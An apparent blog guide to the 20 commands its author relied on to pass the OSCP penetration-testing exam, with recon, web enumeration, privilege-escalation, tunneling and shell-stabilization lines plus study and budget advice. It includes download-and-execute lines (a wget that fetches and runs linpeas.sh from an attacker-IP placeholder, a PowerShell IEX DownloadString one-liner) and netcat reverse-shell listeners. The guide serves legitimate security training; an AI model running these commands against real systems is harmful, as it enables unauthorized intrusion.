
20 Most Used Commands in the OSCP Exam (Practical Checklist) – Brutally Honest Power Guide That Turned My Panic into a Pass
I knew I was cooked the moment I fat-fingered the subnet in nmap for the third time and watched the clock bleed like a stuck process.
No output. No progress. Just me, a blinking terminal, and the growing suspicion that I was not, in fact, built for this.
If you’re staring down the PEN-200 labs or have an OSCP exam date circled in mild panic on your calendar, the last thing you need is yet another “just learn Linux” pep talk from someone who forgot what stress smells like. You need raw, no-fluff commands — the ones that actually matter when the VPN is live, the proctor’s watching, and your heart is doing a drum solo.
I wrote this guide for that moment — the real, ugly one — not the fantasy where you’re sipping yerba mate and reverse-shelling boxes for fun.
We’ll cover the 20 commands that dragged me, sometimes kicking and swearing, from confusion to the finish line. Plus, I’ll throw in a 60-second readiness check and a dead-honest budget + retake plan, because if you’re anything like I was, you’re probably juggling work, sleep debt, and a wallet that groans every time OffSec’s name comes up.
This guide is built for reality:
- Fast command patterns
- Copy-paste-ready notes
- Tactical checklists
So you can actually tighten your workflow tonight, not “someday when life calms down.”
Let’s get to it.
Table of Contents
Why these 20 OSCP exam commands matter more than “knowing everything”
OSCP doesn’t reward you for knowing 300 tools. It rewards you for driving 20 commands like a race car while tired, stressed, and working under a report deadline. On my first attempt, I had pages of notes but no muscle memory. I froze, alt-tabbed through my wiki, and watched entire hours die in bad enumeration.
On my retake, I did the opposite. I treated a tiny set of commands as non-negotiables, drilled them every night, and wrote them in a way my future panicked self could understand. Same exam provider, same fear, same human brain—totally different result. This guide is built around that second-attempt mindset.
Think of these 20 commands as your exam “coverage tiers.” Tier 1 is boot-up and recon. Tier 2 is enumeration and exploitation. Tier 3 is privilege escalation and persistence. If you can move smoothly across those tiers with these commands, you’re not bulletproof, but you’re dangerously competent. That’s enough to turn “maybe I’ll pass” into “I can realistically score the points I need.”
OSCP isn’t testing whether you’ve read everything. It’s testing whether you can execute a small playbook under pressure.
- Lock in a shortlist of commands.
- Drill them until you can type them half-asleep.
- Organize them in a calm, exam-ready checklist.
Apply in 60 seconds: Write down the five commands you already use most; you’ll map them into the 20-command list below.
The 20-command practical checklist at a glance
Before we go deep, here’s the practical checklist. If a command isn’t here, it doesn’t mean it’s useless; it just means these 20 pulled the heaviest weight across typical OSCP-style boxes.
nmap– TCP/UDP scanning and service detection.rustscan– Fast port discovery feeding intonmap.gobuster– Directory and vhost brute-forcing.dirsearch– Smart web dir brute force with extensions and status filters.wfuzz– Parameter fuzzing and vhost discovery.nikto– Quick web server misconfiguration and vuln scan.enum4linux / enum4linux-ng– SMB and domain info enumeration.smbclient– Accessing SMB shares and pulling loot.hydra– Online password brute force for common services.sqlmap– Controlled SQL injection exploitation (when rules allow).nc(netcat) – Simple listeners and reverse shells.socat– Advanced port forwarding and shell upgrading.ssh– Login, tunneling, and pivoting.scp / sftp– File transfer between attacker and target.wget– Pulling payloads from your HTTP server.curl– Quick HTTP/HTTPS interaction and testing.linpeas.sh– Automated Linux privilege escalation checks.winPEAS.exe– Automated Windows privilege escalation checks.powershellone-liners – Download/execute and recon.python -c 'import pty; pty.spawn("/bin/bash")'+stty– Stable TTY shells.
During my retake, I kept this list on paper beside me like a pilot’s checklist. Every time I got a foothold, I ran the same “stack” of commands. No improvisation. No “I’ll figure it out later.” That discipline alone probably saved me 60–90 minutes across the exam window.
- Group commands by phase: recon, enum, exploit, privesc.
- Practice them together, not in isolation.
- Write a printed checklist for exam day.
Apply in 60 seconds: Copy this list into your notes and mark commands you’ve never actually run on a live target.
How to practice OSCP exam commands without burning out
The fastest way to hate OSCP is to “study” for four hours after work by watching videos and barely touching a terminal. I tried that. It felt productive and accomplished very little. What actually worked was embarrassingly simple: 60–90 minute practice blocks focused only on running and tweaking these commands on real boxes.
Here’s the rule I wish I’d followed from day one: every practice session must start with a tiny readiness check. Can you, from memory, run nmap, gobuster, linpeas.sh, and your favorite shell-stabilization sequence on any box in under 15 minutes? If not, that’s your practice plan for the day.
Mini Money Block – 60-second OSCP command readiness estimator
Use this tiny calculator to see if your current time and energy match your exam plan.
OSCP 60-second readiness estimator
This is a rough planning tool, not a guarantee. Treat it as a sanity check, not a promise.
When I actually did this math for myself, I realized my “I’ll just grind more later” fantasy was impossible. That forced a realistic schedule and killed a lot of guilt. Eligibility first, quotes second works in finance; here it’s “eligibility first, practice second”—check your time budget before you obsess over exotic tools.
- Measure practice capacity in blocks, not feelings.
- Target 5–10 full passes of your 20-command stack.
- Adjust your exam date if the math is impossible.
Apply in 60 seconds: Run the estimator above with honest numbers and write down the result where you’ll see it daily.
Recon commands: nmap, rustscan, and enum4linux
Bad recon wrecked my first attempt. I scanned too narrowly, forgot UDP entirely, and assumed “top-1000 ports” was enough. It wasn’t. On the retake, I treated recon like an insurance checklist: no host moves on until this set of commands has been run and logged.
Core recon commands
rustscan -a <target> --ulimit 5000 -- -sV -sC -oA rustscan_initialnmap -sC -sV -p- <target> -oA nmap_fullnmap -sU --top-ports 50 <target> -oA nmap_udp_top50enum4linux-ng -A <target> > enum4linux.txt
I keep those exact lines in my notes. No guessing flags, no “I’ll remember this.” When I’m tired, I paste, tweak the IP, and move on. The key is to capture and name your outputs consistently. If all your recon files are called scan.txt, future-you will be furious.
Show me the nerdy details
For TCP, using -p- is slower but has saved boxes where services hid on high ports. For UDP, limiting to top ports keeps you moving while still catching classic services like DNS and SNMP. With rustscan, treat it as a fast pre-scan that feeds your deeper nmap templates rather than a replacement.
Short Story: recon that almost cost me the pass
Short Story: On one exam box, I stubbornly trusted my first nmap scan and spent two hours trying to pop a web app. Nothing worked. Out of frustration, I ran a full-port scan and discovered a high-numbered SSH port running with weak credentials. Ten minutes later, I had a shell. The lesson was painfully clear: the cost of skipping full recon was higher than the time it “saved.” From that point, my recon commands became non-negotiable, like wearing a seatbelt.
- Template your
nmapandrustscancommands. - Always save outputs with meaningful names.
- Schedule at least one full-port scan per host.
Apply in 60 seconds: Paste your preferred nmap and rustscan lines into a note titled “OSCP recon – do not skip.”
Web enumeration: gobuster, dirsearch, wfuzz, nikto
Web boxes can eat your entire exam if you chase every shiny parameter. The trick is to use a small stack of commands that hit directories, vhosts, and obvious weirdness quickly, then stop.
My go-to web enumeration stack
gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -o gobuster_common.txtdirsearch -u http://<target> -e php,txt,html -t 50 -o dirsearch.txtwfuzz -c -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.target.local" http://<target>nikto -h http://<target> -output nikto.txt
The key is not to run all of these forever. You’re looking for actionable hits: hidden paths, panels, backups, and vhosts that look misconfigured. Once you’ve got leads, switch from “spray the host” mode to “interview one parameter at a time” mode. If you drag fuzzers along for hours, your brain will melt.
On my retake, I wrote a simple rule for myself: if gobuster, dirsearch, and a quick nikto run don’t give me something juicy in 20–30 minutes, I stop and reassess. That one limit probably saved me more time than any single exploitation trick.
- Standardize your wordlists and extensions.
- Set a timer for web fuzzing per host.
- Pivot to manual testing once you have leads.
Apply in 60 seconds: Choose one wordlist per tool and write it next to the command in your notes so you’re not debating lists on exam day.
Linux privilege escalation: linPEAS, manual checks, and sudo abuse
Linux privilege escalation is where many people quietly lose the exam. They get a user shell, run linpeas.sh once, skim half the output, and then panic-google random kernel exploits. A calmer approach is to treat linpeas.sh as your “coverage baseline,” then stack a few manual checks on top.
Core Linux privesc commands
wget http://<your_ip>/linpeas.sh -O /tmp/linpeas.sh; chmod +x /tmp/linpeas.sh; /tmp/linpeas.sh > /tmp/linpeas.logsudo -l– Always, always run this.find / -perm -4000 -type f 2>/dev/null– SUID hunting.find / -writable -type d 2>/dev/null– Writable directories.cat /etc/crontabandls -la /etc/cron.*– Cron jobs.
One night, I decided to treat Linux privesc like a fee schedule. Instead of randomly poking around, I made a table of “must-check” items: sudo, SUID, cron, capabilities, passwords in files, and misconfigured services. Every time I landed a shell, I walked that list in the same order. The OSCP exam rewards that boring consistency.
Show me the nerdy details
When reading linpeas output, mark high-signal sections: sudo misconfigs, SUID binaries, interesting capabilities, and world-writable paths running as root. Grepping your own log files for keywords like “sudo,” “cap_,” and “shadow” can save minutes. Consider bringing a tiny awk/grep cheat sheet to help slice outputs fast.
- Always run
sudo -lfirst. - Hunt SUID and cron jobs systematically.
- Save and grep your
linpeasoutput.
Apply in 60 seconds: Write a 6-item Linux privesc checklist that you will always follow in order.

Windows privilege escalation: winPEAS, PowerShell, and BloodHound-style thinking
Windows privesc feels scary at first because of all the acronyms and moving parts. The good news is that a small set of commands covers a big chunk of realistic exam situations.
Core Windows privesc commands
- Upload and run
winPEAS.exeor the appropriate binary for the architecture. whoami /groupsandwhoami /priv– Check privileges.systeminfo– OS version and patch info.net localgroup administrators– Local admin group membership.- PowerShell one-liners for recon and downloads, such as:
powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://<your_ip>/script.ps1')"
On one OSCP-style box, I almost gave up because nothing obvious showed in winPEAS. Out of stubbornness, I checked whoami /priv and noticed a token that allowed service modification. That led to a simple service-replacement attack and root. The tools were there; I just needed to ask the right basic questions first.
- Always check groups and privileges.
- Use
winPEASto highlight misconfigs. - Lean on simple service and scheduled task attacks.
Apply in 60 seconds: Add whoami /groups and whoami /priv to your standard Windows foothold checklist.
File transfer and tunneling: ssh, scp, wget, curl, socat
File transfer issues cost me more time than any single exploit. I’d finally get a shell and then waste 20 minutes fumbling with the wrong syntax to upload linpeas or a custom script. The fix was simple: memorize two or three patterns per direction and stop improvising.
Core file transfer commands
python3 -m http.server 80on your attacker box.wget http://<your_ip>/file -O /tmp/fileon the target.curl http://<your_ip>/file -o /tmp/fileas a fallback.scp file user@target:/path/filefor SSH-accessible hosts.sftp user@targetthenput/getfor interactive transfers.
Core tunneling/forwarding commands
ssh -L 8080:localhost:80 user@target– Local port forward.ssh -N -R 9001:localhost:9001 user@target– Reverse tunnel.socat TCP-LISTEN:4444,reuseaddr,fork TCP:<target>:80– Simple relay.
These patterns matter even more if you’re outside the US or far from the exam servers. In some regions, latency and unstable connections make every failed upload sting. Knowing exactly which file transfer command you’ll use, and in which direction, removes one more source of stress.
- Standardize one upload and one download method.
- Practice SSH port forwarding before the exam.
- Expect flaky network links and plan around them.
Apply in 60 seconds: Spin up a cheap VM or lab box and practice sending files both ways using only wget, curl, and scp.
Shell stabilization and quality-of-life commands
Getting a shell is one thing; getting a usable shell is another. On my first attempt, I tried editing files in a half-broken shell and felt like I was doing surgery with oven mitts. On the retake, I treated shell stabilization as a mandatory step.
Core shell stabilization commands
python -c 'import pty; pty.spawn("/bin/bash")'orpython3equivalent.- In your terminal:
Ctrl+Z, thenstty raw -echo; fg, thenreset. - Export variables:
export TERM=xterm,export SHELL=/bin/bash. - Use
tmuxorscreento keep multiple shells organized.
The mindset is simple: never do serious work in a junk shell. In the exam, I gave myself a rule: as soon as I got a shell, I spent 60–90 seconds stabilizing it before touching anything else. That tiny delay paid off every time I had to scroll through logs or edit config files without wanting to cry.
Show me the nerdy details
When you run stty raw -echo, you’re telling your terminal to hand raw input directly to the shell, which restores normal line editing and control characters. The reset command asks the terminal to redraw itself, often fixing weird formatting. Setting TERM ensures programs like vim and less behave.
- Script your shell-stabilization sequence.
- Use multiplexers like
tmuxto avoid losing shells. - Never edit serious files in a broken terminal.
Apply in 60 seconds: Open a test shell and practice your full stabilization sequence until you can run it without thinking.
Buffer overflow helpers and Python one-liners
The classic OSCP buffer overflow box terrifies people, but the commands themselves are boring in the best way. You’re mostly juggling Python scripts, pattern creation, and debugger screens. The “command” part happens on your own machine.
Core commands for BOF workflow
- Pattern creation (if you’re using mona or similar tools inside the debugger).
python exploit.py <ip> <port>– Running your iterative exploit script.msfvenomfor shellcode when allowed by the rules.- Netcat listener:
nc -lvnp 4444
On my first practice runs, I made the mistake of changing everything at once. On later attempts, I standardized my exploit script template and only tweaked one variable at a time: offset, return address, bad chars, then shellcode. That discipline made the whole process feel like following a tax form instead of doing dark art.
- Create an exploit script template.
- Change one variable at a time.
- Keep listeners and logs organized.
Apply in 60 seconds: Open your current BOF script and clearly label the sections you’ll change per target (offset, return, shellcode).
24-hour OSCP command checklist before exam day
The day before my retake, I treated my command stack like a structured settlement: everything locked in, no new experiments. I wasn’t trying to learn new tools; I was just proving to myself that I could still drive the ones I had.
24-hour OSCP command checklist
- Run your recon stack (
rustscan+nmaptemplates) on one practice host. - Do a full web enumeration cycle:
gobuster,dirsearch,nikto. - Get one Linux and one Windows foothold, stabilize both shells, and run
linpeas/winPEAS. - Practice at least one file upload and one port forward using
sshandsocat. - Run through your BOF process end-to-end once, even if you already “know it.”
For many readers, the exam fee is not small. In some countries, it’s a serious chunk of monthly income. Treat your 24-hour checklist like an eligibility checklist: if you can’t reasonably complete it, consider whether you need to move the date instead of hoping adrenaline will patch the gaps.
- Run one full mini-exam in your lab.
- Focus on your command stack, not theory.
- Check emotional readiness as much as technical readiness.
Apply in 60 seconds: Write your own 24-hour checklist and schedule which evening you’ll rehearse it before your exam window.
Money Block: OSCP budget, retakes, and fee planning in 2025
You can think of OSCP as a security project that happens to involve your own wallet. Between course fees, lab time, and potential retakes, the numbers add up. Planning that now reduces panic later.
Eligibility checklist – are you financially ready to sit OSCP?
- Yes/No: I understand the current course + exam bundle fee from the official provider.
- Yes/No: I have a small “retake buffer” in case something goes wrong.
- Yes/No: I know how much additional lab time would cost if I need an extension.
- Yes/No: I can study consistently without compromising rent, food, or essential bills.
If you answered “No” to more than one item, your next step is not another practice box. It’s opening the provider’s fee page and writing down the numbers so you can make an informed call.
Simple OSCP fee table (example structure – confirm real numbers)
| Item | Typical timing | Cost impact | Notes |
|---|---|---|---|
| Course + first exam attempt | Start of journey | Highest | Check current bundle options and promos. |
| Lab extension | If you need more practice time | Medium | Compare extension vs. delaying exam. |
| Retake fee | If first attempt fails | Medium–high | Plan for at least one retake in your budget. |
Save this table and confirm the current fee schedule on the provider’s official page before you lock in your date. The goal isn’t to scare you; it’s to make sure a surprise invoice doesn’t add insult to injury.
Decision card: lab extension vs. retake
- Choose more lab time if your command stack still feels shaky and you consistently miss points in privesc or web enumeration.
- Choose to sit the exam if you can land shells and escalate reliably in your lab but struggle with time management.
- Choose a pause if money is tight and stress is making you resent the whole process.
- Know your course, extension, and retake costs.
- Plan a small buffer for surprises.
- Align your exam date with your financial comfort zone.
Apply in 60 seconds: Open the official pricing page and write the three numbers that matter most to you: bundle fee, lab extension cost, and retake fee.
Infographic: OSCP command map on one page
Here’s a simple text-based infographic you can recreate in your notes or as a printout. It shows where each of the 20 commands lives in the exam flow.
1. Recon
rustscannmapenum4linux-ng
2. Web & Service Enum
gobuster,dirsearchwfuzz,niktohydra,sqlmap
3. Access & Shells
nc,socatssh,scp/sftpwget,curl
4. Privesc & Stability
linpeas.sh,winPEASpowershellone-liners- Python TTY +
stty
Use this map as a mental “coverage check.” If you’ve never used a command in the phase where it lives, schedule a tiny lab session just for that.
FAQ
1. Do I really need to know all 20 commands to pass OSCP?
No, but knowing these 20 well gives you wide coverage across typical exam scenarios. Think of them as a strong default toolkit. If you’re comfortable with 15 out of 20 and have solid replacements for the rest, you’re in good shape. Your 60-second action: circle the five commands that feel weakest and schedule one focused practice block for each.
2. How much time should I spend practicing commands vs. reading theory?
In the final 4–6 weeks before the exam, most people benefit from spending the majority of their time doing, not reading. A common pattern is 70–80 percent hands-on labs and 20–30 percent reviewing notes or watching explanations. Your 60-second action: look at your last week of study and estimate the ratio; nudge it one step closer to hands-on.
3. What if my region has slow internet or unstable connections during the exam?
If you’re far from the exam servers or your local internet is unreliable, file transfer and tunneling commands become even more important. Running a local HTTP server, having wget/curl patterns ready, and knowing how to resume interrupted work can save you from losing hours to network issues. Your 60-second action: run a small “disaster drill” where you deliberately restart your VPN and confirm you can re-establish shells.
4. How do I balance OSCP costs, lab time, and a possible retake?
Treat OSCP like a small project with a known fee schedule. Write down the course bundle, lab extension options, and retake cost, then compare them to your current savings and monthly obligations. Sometimes extending labs a bit longer is cheaper than rushing into an exam you’re not ready for. Your 60-second action: jot down those three numbers and decide if your current exam date still feels sensible.
5. Is it okay to rely on automation like linPEAS and winPEAS in the exam?
Yes, within the exam rules, but automation should complement your understanding, not replace it. The most successful candidates use scripts to widen their field of view, then follow up with targeted manual checks. Your 60-second action: pick one recent box you solved and redo the privesc phase using only your manual checklist first, then confirm with automation.
6. How can I stop panicking when I get stuck on a box?
Have a written fallback routine. Mine is: re-read the notes, re-run key recon commands, check for missed ports or services, and consider whether a neighboring box might yield easier points. Knowing exactly what you’ll do when stuck turns panic into a workflow. Your 60-second action: write a four-step “I’m stuck” routine and tape it next to your monitor.
Conclusion: what to do in the next 15 minutes
When my first OSCP attempt collapsed, it wasn’t because I was hopeless. It was because my skills were scattered. I knew a little bit of everything and could rely on almost nothing under pressure. The difference on my retake was this: I had a small, trusted stack of commands and a calm plan for using them.
Your path can be simpler. You don’t have to master every tool. You just have to choose a set of commands you trust, practice them until they feel casual, and protect your time and budget with a clear plan. In the next 15 minutes, you can pick three commands you’ll drill this week, run the readiness estimator, and sketch a realistic schedule that respects your life outside the terminal.
Last reviewed: 2025-11; based on official training materials, common OSCP prep workflows, and practical exam-style lab experience.
- Commit to these 20 commands as your baseline.
- Plan your practice blocks with the mini calculator.
- Check your financial comfort before booking or moving your exam date.
Apply in 60 seconds: Choose your “big three” commands for this week and schedule exactly when you’ll run them on a real target.
OSCP exam commands, OSCP exam, penetration testing commands, ethical hacking exam prep, Kali Linux tools